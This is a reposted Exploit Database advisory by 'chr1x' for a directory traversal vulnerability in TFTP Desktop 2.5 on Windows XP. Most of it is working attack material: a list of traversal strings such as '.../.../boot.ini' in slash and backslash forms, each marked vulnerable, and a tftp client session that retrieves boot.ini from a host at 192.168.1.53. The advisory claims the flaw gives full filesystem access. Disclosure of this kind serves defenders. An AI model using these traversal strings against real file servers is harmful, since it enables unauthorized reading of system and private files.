tftp desktop 2.5 – Directory Traversal

• Exploit Database
• 66 阅读

• 作者： chr1x
  日期： 2010-09-01
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14857/

• +------------------------------------------------------------------------+
  | .......|
  | ..''xxxxxxxxxxxxxxx'...|
  |..'xxxxxxxxxxxxxxxxxxxxxxxxxxx..|
  | ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. |
  | .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'. |
  | .'xxxxxxxxxxxxxxxxxxxxx''........... |
  |.xxxxxxxxxxxxxxxxxx'... .........'. |
  | 'xxxxxxxxxxxxxxx'......'.|
  |'xxxxxxxxxxxxxx'..'x...x. |
  | .xxxxxxxxxxxx'...'..... .' |
  | 'xxxxxxxxx'......x.|
  | xxxxxxx'...x.|
  | xxxx'.....xx.|
  | 'x'....'xxxxxxx'. x .x.|
  | .x'. .'xxxxxxxxxxxxxx. '' .' |
  |.xx..'xxxxxxxxxxxxxxxx. .'xx'''..'|
  | .xx..'xxxxxxxxxxxxxxxx'.'xxxxxxxxx''.|
  |.'xx'..'xxxxxxxxxxxxxxx...'xxxxxxxxxxxx'|
  |.xxx'..xxxxxxxxxxxx'..'xxxxxxxxxxxxxx'. |
  |.xxxx'.'xxxxxxxxx'.xxx'xxxxxxxxxx'. |
  |.'xxxxxxx'.......xxxxxxx'.|
  | ..'xxxxx'.. ..xxxxx'.. |
  |....'xx'.....''''...|
  ||
  |CubilFelino Security Research Labs|
  |proudly presents... |
  +------------------------------------------------------------------------+
  
  
  Author: chr1x (chr1x@sectester.net)
  Date: August 30, 2010
  Affected operating system/software, including full version details
  TFTP Desktop version 2.5, Tested on Windows XP PRO SP3
  Download:
  http://www.mynet2.com/soft/Software%20Archive/TFTP%20Server/tftp_desktop_free.exe
  
  How the vulnerability can be reproduced
  
  Attack strings below:
  
  [*] Testing Path: .../.../.../boot.ini<- Vulnerable string!!
  [*] Testing Path: .../.../.../.../boot.ini<- Vulnerable string!!
  [*] Testing Path: .../.../.../.../.../boot.ini<- Vulnerable string!!
  [*] Testing Path: .../.../.../.../.../.../boot.ini<- Vulnerable string!!
  [*] Testing Path: .../.../.../.../.../.../.../boot.ini<- Vulnerable string!!
  [*] Testing Path: .../.../.../.../.../.../.../.../boot.ini<- Vulnerable string!!
  [*] Testing Path: ...\...\...\boot.ini<- Vulnerable string!!
  [*] Testing Path: ...\...\...\...\boot.ini<- Vulnerable string!!
  [*] Testing Path: ...\...\...\...\...\boot.ini<- Vulnerable string!!
  [*] Testing Path: ...\...\...\...\...\...\boot.ini<- Vulnerable string!!
  [*] Testing Path: ...\...\...\...\...\...\...\boot.ini<- Vulnerable string!!
  [*] Testing Path: ...\...\...\...\...\...\...\...\boot.ini<- Vulnerable string!!
  
  Confirmation log:
  
  root@olovely:/# tftp
  tftp> connect
  (to) 192.168.1.53
  tftp> ascii
  tftp> get
  (files) .../.../.../.../.../.../boot.ini
  Received 211 bytes in 0.0 seconds
  tftp> quit
  
  What impact the vulnerability has on the vulnerable system
  
  * High, since when exploiting the vulnerability the attacker is able to get full access to the victim filesystem.
  

  PowerShell

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